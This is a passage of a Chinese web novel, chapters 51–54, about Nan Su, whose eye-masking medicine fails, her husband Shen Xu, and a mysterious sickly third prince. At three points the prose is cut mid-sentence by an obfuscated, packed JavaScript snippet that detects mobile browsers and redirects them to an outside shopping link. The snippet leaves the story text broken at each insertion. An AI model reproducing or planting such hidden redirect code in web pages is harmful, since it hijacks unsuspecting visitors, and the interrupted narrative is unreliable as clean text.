韩清棠摇头,“不知道,不过应当是在城外,我们每次见面的时间都很短,他说他家住得远,不过每次都是往城门那边去的。” 看来是同一人,只是用了不同的名字。 “我还有一个问题。”南夙看着她的眼睛,忽然道。 “你说。” “你准备好杀薛鹤之的前一夜,为什么要将房间布置得像新婚那日一样?” “没有为什么?个人爱好。”韩清棠撇开视线,一脸无所谓地回道。 “是吗?”南夙呢喃着,不知道这声询问韩清棠有没有听清,不过没有回答就是了。 成婚的目的是报仇,可成婚两年来,难道她都没有找到一个合适的机会杀了薛鹤之吗? 她究竟是因为想不出如何报仇而烦闷,还是因为无法下手而痛苦呢? 这些事在韩清棠那里问不到,南夙也没打算再问,她看着韩清棠那摇摇欲坠的理智,估摸着她还要多久会疯。 她借助灵台蒙蔽了自己所有的感情与理智,趁此机会杀了薛鹤之。现在她所有的目的都达到了,南夙也替她解了蛊,只是她好像又要疯了。 她不再看韩清棠,转过身,同沈序一道出了牢房。 “她说的那个人,你有思绪吗?”沈序忽然开口。 南夙摇摇头,“没有,我印象里没有这个人。” 可是那封写了她的名字的信。 那人认识自己,但南夙却对他完全没有印象。 “好了,先别想了。”沈序见她紧蹙着眉,劝慰道,“兴许哪天他就出来了,是人是鬼,到时候就知道了。” 南夙点点头,深吸一口气,“这案子也算是结束了,回家!” 51.第 51 章 韩清棠的案子结束后,南夙尝试过去找那个叫韩执的男人,无果。 她觉得自己这辈子跟找人这件事犯冲,反正人要是不主动撞上来,她是找不到的。 算了。 在奔波几天的徒劳无功后,南夙决定:躺平!不找了,该出来的时候那人自然会出来的。 她这人就是个躺着晒太阳,等着兔子自己撞上树桩。 于是她便回了侯府,享受她的世子妃生活去了。 但这日子没过几天,京城就发生了一件大事——从小流落在外的三皇子突然找回来了。 南夙听到这个消息的时候感觉脑子都转不过来了,怎么又一个流落在外的皇子,这大景究竟还有多少个没归家的孩子。 她没想到的是,还真被她说准了,这流落在外的皇子还没找完。 按规矩,他们是要进宫的。 偏偏这时候,南夙这里出了点问题,她用来掩盖眼睛的药突然失效了。 那天晚上,南夙如往常一样在睡前沐浴。因着连着几日没有好好休息过,南夙便去了后院的汤池,打算进水里滚滚。洗好正准备上来时,不小心在水中打滑了一下,整个人掉进了水里,幸好她已经走到汤池边上,扶着汤池边站了起来,但整个人已经从头到脚的湿透了。 沈序刚好路过,听到她的声响不放心,没等南夙同意就擅闯了进来。 两人就这样在一片朦胧中对上视。 没等南夙反应过来害羞,沈序就突然半跪在她身前,抓住了她的手腕。 他直直地盯着南夙的眼睛。 南夙先开始还没搞懂他要做什么,被沈序目不转睛地盯着看了好一会,才反应过来定是眼睛又褪色了。 “又变回来了?”她有些无奈地问。 南夙用来遮挡眼睛的药是直接抹上眼瞳的,薄薄的一层,刚好能盖住那片琉璃绿,她从小就用。在灵诏的时候这药能够维持至少半个月,最长的时候一个月都不会褪色。 可自从来到京城后,南夙也发现,这药的维持时间变短了。 正月的时候还能勉强维持个四五天,南夙因此要多吃点苦。后来她发现,这苦还是没吃够,现在这药最多只能维持三天,再多是一点没有了,有时候短点,一天换一次都是有的。 因此南夙现在不论走到哪都要在荷包里装上那药。 自上次在栀子林两人互相表明心意后,沈序就将换药这事给接了过去。每每南夙因为药性过烈而受不住握紧手指时,沈序都想直接将这破药给扔了。 什么厄运什么邪祟都滚远点吧。 这么折磨人的鬼东西究竟是谁想出来的? 沈序真相把这人找出来,用这药涂满他的全身,让他也好好体会一下这痛苦。 但这些他都只能想想,要真让他把这药扔了,他还不敢呢。南夙在杭州时因为这双眼睛暴露而脆弱的眼神至今仍刻在他的心里,忘也忘不掉。 南夙挣了挣沈序握着自己的手,没挣开。 她只好换了一只手,指着旁边衣架上自己的衣裙,“药在荷包里,你给我拿过来。” 沈序却没动,仍然盯着她看。 南夙从他的表情中看出了些不对劲,难道自己的眼睛有什么别的问题? 她立刻紧张起来,“怎么了呀沈序,你说话呀。” 沈序却只是浅笑一声,调笑道:“真好看。” “你又取笑我!”南夙挣开他的手,往他身上打。 她人在水里,抬手时带着汤池的水,没一会就将沈序的衣袖给打湿了。 沈序见把人惹急了又赶紧哄,一把抓住她的手腕,在南夙额头上留下一个吻,起身去拿药去了。 他是走了,留南夙一个人在汤池里不知所措。 南夙手不自禁地抬起来,手指在沈序刚刚亲吻的地方停留了几秒,突然气急败坏般打了几下水面。 待她发泄完,沈序也找到了药,又去屋外拿了些棉布才进来。 但他却没拿着药去南夙身边,而是拿了一套新的衣裙递给南夙。 “在里面待久了头晕,先出来再上药,好不好?” 他语气轻柔,像是在哄人一样。 南夙吃软不吃硬,顺毛摸就乖巧,听话地点点头,伸手接过衣裙。 沈序将衣裙递给她后,没有多留,转身出了里屋。 南夙穿好衣裙系好衣带子,走出里屋,又见沈序手里拿着帕子等她,见她出来,他提步走来,将帕子拢上南夙的发尾,轻轻为她擦拭头发。 南夙走到镜子边上坐下,他就在身后站着给她擦头发,擦完又用火笼将她头发烘干才罢。 “你这也太仔细了些。”南夙道。 沈序一本正经地道:“夜里天凉,头发湿着容易着凉,还是仔细一些好。” 南夙看他,“那你昨晚怎么不擦干?” 沈序正低着头摆弄药瓶,听了南夙的话也没抬头,十分无所谓地道:“我用不上。” “怎么就用不上了?”南夙反驳,“怎么我怕着凉你就不怕着凉了?” “是是是。”沈序点着头应和,“下次我一定擦干啊。” 南夙想批评他敷衍,但沈序已经拿着沾着药的棉布靠近自己的眼睛,她有些不受控地眨眼睛,被打乱了思绪,就没再说出来。 药棉沾上眼睛的那一刻,南夙还是不可避免地被灼热的刺痛感给刺激得握紧了手指,她一下子抓住沈序的衣服,咬紧牙关克制着自己。 为了让她少痛些时间,沈序每次上药时都会格外的迅速,这一次却罕见的在半途中停了下来。 南夙感觉到他没了动作,有些疑惑地问:“怎么不继续了?” 她的声音因为刚才的疼痛而有些沙哑。 沈序望着她,道:“没有用。” “什么没有用?”她问。 沈序将药棉往镜台上一扔,“药没用了。” 南夙猛地转过身去,看向镜子中的自己,那双琉璃绿宝石般的瞳孔仍然在她眼中闪烁着,丝毫没有变色的迹象。 这是怎么回事? 南夙拿起镜台上的药凑在鼻前闻了一下,是以前的药没错啊,怎么会没有用了呢? 她低头看着手中握着的药瓶,许久后,肩膀松了下来,像是接受了这个事实。 沈序站在一边,他手搭在南夙的肩膀上,正想蹲下身子同南夙说话,却见南夙突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294641|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然转过头来,委屈巴巴地看着自己。 “那我刚才的苦不是白吃了?” 她语气中满是委屈和不满。 沈序怔住,像是没想到南夙的关注点居然是这个,他失笑,揉了揉南夙的头。 其实南夙再看到这双眼睛时并不是一点都不排斥了,只是她现在好像习惯了,。药效的时长不断在缩短,南夙曾经也想过会不会有一天完全失效,她早就做好了心理准备,只是她没想到居然来得这么快。 更重要的一部分原因是,自从上次在杭州沈序见过一次后,往后每次凡是南夙的眼睛褪色时,他总会及时出现,夸南夙的眼睛好看。 南夙现在看着镜中那双瞳孔,竟也产生了它确实很美的想法。 哎。 她甩甩头,既来之则安之,药在此时失效,或许就是命数呢。 就是不知道明天入宫该怎么办,她看向沈序,眼神中带着明晃晃的求助。 最后他们一致决定,先不让别人见到这双眼睛,毕竟南夙入京后一直以那双琥珀瞳示人,一夜之间换了色,还是世上从未有过的琉璃色,怕是会引起风波。 沈序在柜子里翻出一条黑布条,正好能盖住南夙的眼睛。 为了让确定南夙遮住眼睛能够从容行走与应对,二人决定今天先适应一番。 南夙只觉得眼前一片黑,这布还怪遮光的,她一戴上什么也看不见,只能依靠沈序牵着她的手。 刚戴上时,她有些不适应。视觉突然被遮蔽,让她感觉瞬间沉入一片温暖的黑暗之中。 温暖是沈序的,黑暗是她的。 她有些恐慌不敢迈脚,但沈序在一旁牵着她的手,声音靠得很近,好像贴着她的皮肉说出来一般。 沈序说:“别担心,我牵着你。” 于是南夙迈出了第一步。 迈出了第一步,后面也就没有那么难了,南夙走得越来越从容。不知道是不是沈序在身边的缘故,她觉得心里有底气。 他不知道沈序带着她走到了哪里,只知道大概是出了房间。因为踏过门槛时,院子里刚好来了一阵风,吹起她的裙摆。 “沈序,我们去哪里?” 她问道。 沈序却没有说话。 不知道是不是风把南夙的声音给掩盖住了。 南夙又闭上了嘴巴,没有再说话,安静地跟着沈序走。 直到沈序突然停下了脚步。 接着,南夙感觉到牵着自己的手突然松开,她有些着急地伸手去挽留,却没留住沈序的手。 “怎么了?” 沈序还是没有说话。 不知道这片风里多久没有裹来人的话语声,总之那时,南夙已经等不及想要伸手扯开遮挡住眼睛的布条。 她手摸到布条的结,正要扯开,却被另一只手截住了动作。 接着,南夙感觉到有人在靠近自己,她下意识想要躲,可蒙着眼睛,不知道该往哪边躲。 于是,她只能呆呆地承受住来自沈序的吻。 轻柔地、猛烈地夺走她的呼吸与理智。 她大概一辈子也想不到,她看不见的地方,沈序这个吻给得有多狼狈。 52.第 52 章 风灌进殿来时,南夙下意识偏了偏头。 眼睛有些涩。南夙狠狠眨了几下眼睛,被沈序牵着手带到位置上坐下。 经过昨夜地练习后,南夙现在已经能够适应遮住眼睛行走了,只是需要一个人在身边指引她。 殿上有人见着来问,他们都统一解释为眼睛受了伤,暂时见不得光。 南夙这双眼睛,无论在灵诏还是大景,若是出现在众人面前,那肯定是要被好好议论一番的。她对于别人的议论本身是不怎么在意的,只是这双眼睛毕竟从小留给她的回忆就是害死了阿姎,因此要让她立刻就接受这一切,也是有难度的。 更何况,沈序现在也舍不得。 “南夙。” 沈序的声音从身侧落下来,“渴不渴?” 南夙弯了弯嘴角,“不渴。” “饿不饿?” “不饿。” “那……” “沈序。”南夙无奈地开口打断,冲他那方向偏了偏头,“你从坐下来到现在,问了四遍渴不渴、三遍饿不饿、两遍累不累。我只是遮住了眼睛,又不是断手断脚了,不必这么紧张。” 沈序没说话。 南夙却能感觉到他再看自己,隔着那道素绫,隔着满殿觥筹交错,他的目光就没从南夙的身上下来过。 昨夜之后,沈序似乎更在意自己了。 南夙朝他歪下头,小声道:“我饿了渴了都会告诉你的,你别忧心,好吗?” “好。”沈序轻声答道。 南夙这才满意地点点头。 “陛下驾到——” 唱名声在此时落下,他们二人随着众人起身,跪下去。眼前是素绫遮住的一片朦胧光影,隐约能看见明黄的颜色从殿门方向移过来。那颜色走得很快,带着风声,带着满殿跪伏的身影,一路升到最高处。 “众卿平身。” 南夙又随着众人站起来,重新落座。 就在这时,南夙肚子叫了一声。 很轻,但沈序一定听见了,因为南夙听见了他的笑声,甚至能在脑中闪出沈序勾起嘴角时的样子。 “刚才问饿不饿,”他说,“谁说不饿的?” 南夙面不改色,“方才不饿,现在饿了。” 他闷笑一声,没说话。下一刻,一只热乎乎的蟹粉酥塞进了我手里。 “来吧夫人,为夫服侍你。” 南夙低头“看”了一眼,隔着素绫,隐约能看见那酥饼黄澄澄的颜色,若是没有素绫,南夙还能看见,她身前的素碗已经被沈序给添满了。 “三皇子到——” 南夙正要将手中的酥饼喂进嘴里,又一声落下。随着这一声落下,满殿的喧哗忽然静了一静。 随后,殿里四面八方传来窸窸窣窣的讨论声,众人对这位失散多年的三皇子似乎很是好奇。 南夙愣了一瞬,还是将手中的酥饼喂到了嘴巴里,皇子再大,也没有肚子重要啊,她想。 不过虽然她脑子是这么想的,头还很诚实地朝殿门方向偏了偏。 偏过去后她又反应过来,自己现在又看不见。眼前是朦胧的一片,只能隐约看见一道颀长的影子从殿门走进来,那影子走得很慢,一步一步,像是在适应满殿的目光。 “咳咳。” 走到殿中间时,那影子轻轻地咳嗽了一下,闷在胸腔里。 沈序的手忽然落在南夙的膝上,轻轻按了按,似乎是在提醒她收敛一点。 南夙没在意,继续啃着酥饼。 “孩子。”陛下的声音响起来,带着几分不自在的温和,“到朕身边来坐。” “谢父皇。” 那声音传来时,南夙啃饼的动作停了一瞬。 温润、清冽,像山涧淌过的泉水,倒是挺好听的。不过咳成这样,也不知道还能活多久。 更让南夙奇怪的是,她感觉这声音有些耳熟。 她是在哪里听过这声音来着。 殿中央的那道影子并没有往高处而去,反而转了个方向,一步一步,朝南夙她们走来。 “这位便是镇北侯世子?” 南夙的思绪被打断。 沈序站起身,躬身行行礼,声音却很是冰冷,“臣沈序,见过三殿下。” “世子不必多礼。”那声音笑了笑,带着点沙哑,“早就听闻镇北侯世子少年英雄、一表人才,今日一见,果然……” 他声音顿了顿。 “果然比传闻中更张扬些。” 南夙差点笑出声,这是什么朝廷社交套话。 沈序嘴角抽了抽,不知道怎么回答。 那人又将目光转向南夙。 “这位是……” “臣妻。”沈序两个字,干脆利落。 南夙咽下最后一口蟹粉酥,坐直了些,朝他那个方向点了点头。 隔着素绫,南夙模糊看见那道影子立在三步开外,瘦削、单薄,像是风一吹就要倒。 他穿着一身月白色的袍子,看出他脸色苍白,并不好看。倒是眉眼清俊,带着点病恹恹的笑意。 “嫂嫂的眼睛……”他顿了顿,“为何遮着?” “受了点伤。”沈序答道,“大夫说见不得光。” “哦。”那人点点头,“那可巧,我这身子也见不得风。咱们一个见不得光,一个见不得风,倒是有缘。” 南夙:“……” 这人说话怎么有点不着调? 沈序的眉头好像皱了皱。 “殿下。”他说,“殿下/体弱,不如去陛下那边坐着,那边暖和。” “不急。”那人摆摆手,竟然在旁边坐了下来,“我十多年没有回过京城,谁都不认识,就认识世子你——你父亲当年救过我,这个恩我可是一直记着呢。” 十多年没有回京,还认识沈序的父亲,那年纪不是比我大?叫啥嫂嫂? 南夙想道。 阿翁还救过他? 因为什么? 难道他是被绑架的? 那为什么还是走丢了呢? 南夙甩甩脑袋,感觉自己真是查案查多了,别人一说点什么,自己就开始推测起来了。 这习惯可不好,费脑子。 “说来,当初若不是镇北侯,我恐怕早就死了,活不到现在呢,改日一定要亲自登门道谢。” 南夙刚止住的念头被他一句话又提起来,她敏锐地捕捉到,这位三皇子说的话与他的语气好像并不相符呢。 不知道是不是她的错觉,她在他的语气中竟然听出点怨恨的语气来。 她不着痕迹地摸了摸桌面,想喝口水。 身旁却突然有一只手伸到自己面前,正举着自己想要的水杯。她歪歪头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299909|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到沈序的手也举在旁边。 她抿了抿嘴唇,突然做出了一个让人意想不到的动作。同时伸出双手接住了两人递过来的水。 但她先喝了沈序递过来的那杯,至于三皇子的那杯,她只浅浅抿了一口。 总感觉来者不善,小心为上。 喝完,她将杯子往桌上一放,就听沈序冷不丁地开口:“殿下这是来叙旧的?可臣与殿下毕竟是第一次见面,没什么旧可叙,殿下若是真有闲心,不如去找陛下?” “咳咳咳——” 南夙差点被口水呛到。 就算他是刚找回来的,这也太不客气了吧。 偏偏沈序那厮还假装什么事都没有一样,见南夙被呛到,伸手轻轻拍了拍她的后背。 “我坐坐就走。”三皇子摆摆手,“我只是见到嫂嫂,就想到一个人。” 他语气中惋惜藏不住。 把我当替身? 南夙扯扯嘴角,“那殿下应当是认错人了,我来京城不久,也没什么姐妹。” “是吗?”三皇子转向南夙,“可我却觉得,我与嫂嫂应当是见过的。” 南夙怔了怔。 这搭讪的方式也太老套了吧? “殿下。”南夙道,“我从小在西南长大,这是第一次来上京。难道殿下去过灵诏?” “哦。”他点点头,却没挪步,还在看南夙。 隔着素绫,南夙感觉到他的视线落在自己脸上。 “嫂嫂……” “殿下。”沈序出口打断,他一字一句,“请、回。” 三皇子沉默片刻,最后吐出一口气,“想来是我认错人了。” 说罢,他转身,一步一步往殿上走去,走到一半,忽然又停下来,回头看了我一眼。 “嫂嫂。”他说,“我叫韩允执,记住了。” 南夙点点头,“我记住了。” 他笑了一声,笑声闷在胸腔里,又引出几声咳嗽。 “别叫三殿下。”他说,“叫允执就行,听着生分。” 南夙沉默着没回话。 沈序的脸已经黑得没法看了,那人却好像浑然不觉,摆摆手,慢悠悠地走了。 南夙坐在椅子上,总觉得哪里怪怪的。 韩允执…… 总感觉在哪听过这个名字。 “南夙。”沈序的声音落在南夙耳边,闷闷的。 “嗯?” “你认识他?” 南夙摇摇头,“不认识。就是觉得他说话有点耳熟,好像在哪听过一样。” 沈序沉默了一瞬。 “什么时候听过?” 南夙想了想,突然想起来一件事,她忙转头过去,推了推沈序,“你还记得二公主说给她下蛊的那人叫什么吗?” 经她这么一提醒,沈序才强迫自己平静下来,仔细想了想。 “韩执。”他缓缓吐出两个字。 韩执。 韩允执。 如此相同的两个名字,连病弱这一块都对上了。 “有感受到蛊吗?”沈序问出南夙心中的疑点。 她没有感受到。 韩允执身上毫无蛊虫的痕迹,光这一点,南夙就敢说他一定不是那人。 可是,真的会有这么巧的事,在韩执消失的同时,又出现一个韩允执吗? 53.第 53 章 “真的吗?” 侯府内,院子里传来一个因为欣喜而拔高的女声。 “阿维他真的要来?” 南夙睁着一双透亮的眼睛,两手撑在桌面上往前俯,够着身子凑到沈序的面前。 沈序无奈地笑了笑,伸出一根手指点了下她的额头,“真的。” 南夙往后一仰,却毫不生气,反而笑得更开怀了。 从宴会回来后,南夙就将素绫扯了下来,随意扔在了一边,被跟在一旁的沈序拿了起来,放在床边。 不出门,她也懒得再遮上眼睛,反正院子里也没其他人,安雀从小就知道她的瞳色罕见,也不用担心她看到。 至于红雾,一回生二回熟,虽然见了几次还是没有那么习惯,但也不会像第一次见时那样惊讶了。 那日在宫宴下来后,南夙对这位三皇子产生了极大的好奇心。 她越想越觉得这位三皇子的声音在哪听过,很是熟悉。 沈序却不一样,他从三皇子离开后就没有过什么好看的表情,南夙看得惊奇,她还从来没见过沈序闹小脾气的样子呢。 今日一见,甚是可爱。 南夙捧腹大笑,把沈序从头到尾嘲笑了一遍。 当然,最后被制裁了。 南夙只好低头求饶,沈序被她这么一闹,心情也好了不少,放开握住她手腕的手,又抹了抹她的嘴角,才安分地坐回一边去。 南夙揉了揉手腕,心道,男人的嫉妒心真是恐怖。 “好了,先说正事。”她看向沈序,“我是真的觉得他的声音很耳熟。” “难道他流落到了灵诏,我小时候见过他?” 南夙推测道。 沈序道:“找人查查不就知道了?” 南夙点点头,“行,那这事就交给你了。” 她拍拍沈序的肩,欲言又止,不知道应不应该提这个要求,毕竟沈序那颗心狭窄得可怕,她怕再一说,又引火伤身。 沈序看出她的犹犹豫豫,问道:“怎么了?” 南夙试探开口:“那啥,你能不能找人画幅三皇子的画像给我?” 不出她所料,沈序在听见这话之后立刻变了表情。 “做什么用?”他声音闷闷的。 南夙解释道:“我方才只听见他的声音,但眼睛蒙着,没看清他的脸……” “你还想看清?”沈序忽然出声打断。 南夙安抚道:“夫君别激动嘛,我就是想看看我以前到底有没有见过他。” 沈序转过身去不说话。 南夙第二日清晨就收到了画像。 她看着手中的画像,不自觉笑出声来。 男人嘛,嘴硬而已。 南夙坐在案前,慢慢打开那副画像,画中是一个男子坐在桌前,手中举着一个杯子,仰着头正准备喝茶的样子。 南夙:“……” 我要的不是正脸图吗,怎么给我画了一副美男品茶图? 不过好歹能看到脸。 南夙透过那半扬起来的脸辨认了一会,确定自己并不认识画中的男子,虽然有些视角看确实有种熟悉的感觉,但这张脸,南夙没见过。 她将画裹起来,放在书案一旁,托着腮,手肘撑在案上回想着昨日三皇子搭话的样子。 南夙确认自己没有见过他,可他为什么在见到自己的第一面就如此熟稔地搭话,甚至说出以前见过自己这种话呢? 南夙思考了一会,没有想到答案,只能推测是自己与他之前见过的人有些相像,所以才让他认错了。 她甩甩头,将这些思绪都抛了出去。她开始反思是不是自己来京城后遇到的事太多了,所以才会风声鹤唳。 三皇子毕竟是皇子,就算是刚找回来的,那也没有人敢说他不是啊。 南夙觉得,自己以后得躲着点。 越想越觉得有道理,南夙起身,拉开书房门,大步走到院子里去,遇到了刚好进院子的红雾。 “小姐!” 红雾捂着嘴巴,一动不动地看着南夙,“你的眼睛怎么了?” 南夙解释道:“这是我原本的瞳色。” “什么?”红雾嘴巴张得更大了,“我怎么不知道?” 南夙:“我以前都用药把它遮盖住的,这两天那药失效了,原本的瞳色就漏出来了。” 红雾收起下颌,走到南夙身侧,歪着头直勾勾地盯着南夙的眼睛看。 南夙看她呆愣的样子觉得好笑,没忍住笑出声来,她托了托红雾的脑袋,“做什么这是?” “这还是我第一次见到这种颜色的瞳孔,真好看。”红雾发出由衷的感叹。 南夙眨眨眼,嘱咐道:“但这事只有咱们几个知道,可别告诉别人啊。” 红雾以前经历过那么多,自然是知道有些东西是不能说的,更何况小姐藏了这么久,还是因为药失效了才露出来,就是不说红雾也知晓的。 她点点头,“我知道了,小姐。” “对了,你来做什么?安雀呢?”南夙见只有她一人,问道。 这俩丫头平日里不是最爱一起了吗? 红雾道:“安雀她出府去了,说是在外头寻了个好玩的东西,打算带回来给小姐玩玩。” 南夙弯了弯眼睛,又问:“那你怎么没去?” “这几日天天往外跑,我都跑瘦了。”红雾抱怨道,“安雀习武不觉得,我这两日总觉得腰酸背疼,今日打算歇歇。” 南夙了然地点点头,又偏头问她:“具体是哪里不舒服?” 红雾没多想,下意识便指出自己疼痛的位置给她看,在两腰的后侧,腰窝附近的地方。 南夙看了眼,突然伸出手来,往她那处摸去。 红雾被她的动作吓得一惊,“小姐你做什么?” 南夙一本正经,“我给你揉揉。” 红雾如临大敌,双手拉住衣裙叠在胸前,着急忙慌地往外跑。一边跑一边道:“小姐不用了,我回去躺两天就好了。” 南夙在身后看着她的背影,一脸茫然,这是怎么了? 回去躺两天可躺不好,说不定一觉醒来还会更痛。 但她没追红雾,由她去了。 红雾走后,这院子里又只剩了她一个人,南夙无聊,就跑到假山处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303259|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将豆豆捉了出来。 豆豆这几天越发不爱出现了,外面天气正是最热的时候,因此它常躲在假山缝里纳凉。南夙来时,它才从洞里伸出一只小小的脑袋,对着南夙吐了吐蛇信子,见南夙朝它伸手,才盘山了南夙的手臂。 “太无聊了,他们都不在,你陪我玩会儿吧。”南夙举着豆豆,郑重其事道。 豆豆听不懂面前的小主人再说什么,它朝南夙歪了歪脑袋,表示自己听不懂这件事。但很显然,这位主人同样也没有看懂自己的意思,或者她看懂了,只是装作看不懂而已。 总之,豆豆离开了它的家,被南夙带进屋子里去了。 南夙的娱乐方式,就是不断地向豆豆投食,可怜豆豆一个肉食动物,被喂了不知道多少稀奇古怪的东西。奈何自己还没法拒绝,因为南夙作为自己的主人,它又喝了南夙的血,南夙对它有致命的吸引力,就是说的话也是没办法拒绝的。 字面意义上地没办法拒绝。 等南夙将兜里那些药草都喂进豆豆的嘴里后,那条蛇就这样英勇就义般往后一倒,仿佛抱着必死的决心。 被南夙一把捞住,她将豆豆翻了个身,手指从上往下摸去,给它顺了几次,又将它拿起来,与它对视。 “这些药材都是我前几日查古籍时发现的,吃了对你有好处的,味道是差了点,但是先苦后甜嘛,知道不?” 她手晃了几下,豆豆蛇信子在空中吐出来,彻底软在了她的手上。 南夙露出一个十分无赖的笑容。 这时,门忽然被推开。 南夙抬头一看,沈序信步而来,走到桌边坐下。 “去哪了?”她看了一眼又收回视线,将重新恢复理智的豆豆盘上自己的手腕。 沈序慢条斯理地拉开凳子坐下,“陛下召见。” “做什么?”南夙瞥了他一眼,见他鬓间碎发已经被汗水打湿,又想到今日炎热的天气,拿起杯子倒了杯水递给他。 沈序接过,浅浅喝了一口,道:“陛下说,灵诏来使。” 他抬眼望向南夙。 南夙一愣,随即猛地站起身来,语气中激动难掩,“真的吗?” “来的是谁?”她问道,似乎认定了灵诏一定会有人来这件事。 沈序就知道她听见这消息会激动,他也没卖关子,“消息没错的话,应当是你兄长。” “阿维真的会来京城吗?”南夙这时才意识到自己好像有些过于激动了,她甚至都没有确定灵诏是不是真的有使臣会来。 但眼下她的问题已经问出,沈序也告诉她了阿维会来,她却有些不敢置信起来。 不知所措。 对,不知所措。 她已经许久没有见过阿维他们了,上一次见面,还是她入京前回宫那次。 如今也已经有七八个月了。 一时之间,她居然不知道该怎么样面对阿维,至少那个场景在她的脑中是无法成型的。 南夙想,或许是他们之间的联系太少,情缘太浅了,毕竟不是从小一起长大的。 可她始终,希望有一天能够搭起那座名为亲情的桥。 54.第 54 章 自从那天在沈序那听说阿维要来京城的事后,南夙每天脑子里只想一件事,就是计算阿维的行程,府里一概人物都被她冷落了,连豆豆都没能逃过被扔回假山的命运。 不过豆豆只在假山待了两个时辰,就又被南夙给掏了回来,塞进了自己的袖子里。可怜豆豆被卷成一团麻绳,随意就被塞进去了。 南夙之所以会将豆豆重新掏回来,是因为她最近总有一种不好的预感,不知从何处而来,总之为了保险起见,她决定从今日起随时将豆豆带着身边,发挥它小毒神的作用。 前日里侯府来了为不速之客,是那位新来的三皇子府上的小厮,说是韩允执想邀南夙到府上一叙。 南夙对此十分疑惑,她和这位三皇子似乎还没有那么熟,南夙不得不佩服这位三皇子惊人的自来熟。 当然了,这位传话的小厮自然是被沈序黑着脸赶出去了。南夙看着沈序那张黑着的脸,不自觉笑出声来,被沈序给了一记眼刀,她立刻反应过来,挠挠头,看天去了,仿佛一点自己方才什么事也没有做。 沈序感到一阵心梗,他走到南夙身边,语气幽幽:“他跟你很熟?” 南夙转头看他,一本正经地摇摇头,“不熟啊,我不是跟你说过了吗?” “就你给我画像那天,我不是告诉过你我不认识他吗?” 沈序撇撇嘴,感觉这新来的三皇子真是令人心堵,他虎口忽然捏住南夙的脸颊,两边晃了晃,一字一句,“反正你不许去见他……” 他停顿了一会,没有直接说“听见没有”,反而像在征求南夙的意见一样,道:“行不行?” 南夙既不挣扎也不还手,脸在别人手里,她乖巧地眨眨眼睛,点点头,“当然行!” 沈序这才松手。 一失去桎梏,南夙便上前一步,歪着头凑近沈序,在他侧脸留下一个吻。 “放心吧,”南夙冲他一扬下巴,好像新娶新娘子的夫郎在对未来的娘子做承诺一般,“我这一辈子只有你一个人。” 她抿着唇,做出一副十分认真的表情,那样子倒像是要说天地可鉴一般。 沈序被她的表情逗笑,无奈地捏了捏她的脸颊。 “话说……”南夙忽然开口,“这个三皇子为什么这么执着于要见我?” 沈序没说话。 其实方才要是沈序没有拦着的话,南夙是打算去见他一面的,毕竟她本来就对这三皇子很是好奇,见他一面打探写东西也是好的。但既然沈序不愿,她也就打消了这个念头,反正日后想要见到三皇子的机会多着呢,不急于这一时,此刻她只想等到阿维到来。 南夙跑进屋子里,翻开桌面上的地图。这两天她一有时间就要跑来看看地图,计算阿维此时应该到哪了。 刚开始她将地图放在床头,但夜间沈序翻身时总容易弄到地上。南夙也不好怪罪沈序,便将地图转移到了案上,这样还方便她时时看。 就这样数着日子,两个月后,灵诏使臣的队伍终于到了京城。 南夙一大早便起来收拾打理,连安雀都很激动,提议让南夙穿上灵诏的服饰接见灵诏使臣。 自从那次南夙跟沈序说过自己没有带灵诏的服饰后,沈序便上了心,连阿家也知道了此事,因此南夙的衣柜里此时已经添了许多灵诏的衣饰。 不出府的时日南夙会翻出来穿一穿。 但这次她却拒绝了。 虽然她也很想再穿一次灵诏的服饰,但毕竟是在大景,即使沈序和阿家他们没觉得怎么样,她却不得不多想一点,恐落人口舌。 她也不喜欢接见这个词,明明他和阿维是亲人,怎么能说是接见呢。 既如此,安雀也只好作罢,她转身,从衣架上捧过叠得整整齐齐的衣衫。最上面那件事绯色的襦,新贡的菱纹罗,上次陛下上次的,阿家吩咐给她做成了衣衫。 下面压着的事杏子黄的裙,裙幅宽大,层层叠叠的褶子压得极匀。 南夙手指轻轻抚过那绯罗上的纹,抿了抿唇,露出些常人看不懂的情绪。这是她今日最喜欢的一套衣裙,也是她衣柜里不论做工走线最妙的一件,她希望穿上这件衣裙去见阿维。 “为我穿上吧,安雀。”她轻声道。 “哎。”安雀应道。 安雀为她拢好衣襟,把系带在胸前松松打了个结,这襦做得本来就略短,下摆掖进裙腰里,刚好显出腰肢的纤细来。 “小姐站一站。”安雀退后两步端详,又上前将衣襟理了理,赞道,“小姐好生美丽!” 南夙弯了弯眼睛。 “叩叩——” 房门这是被敲响,沈序的声音从门外传来。 “夫人好了吗?外面在等着了。” 安雀冲门外喊道:“这就来。” 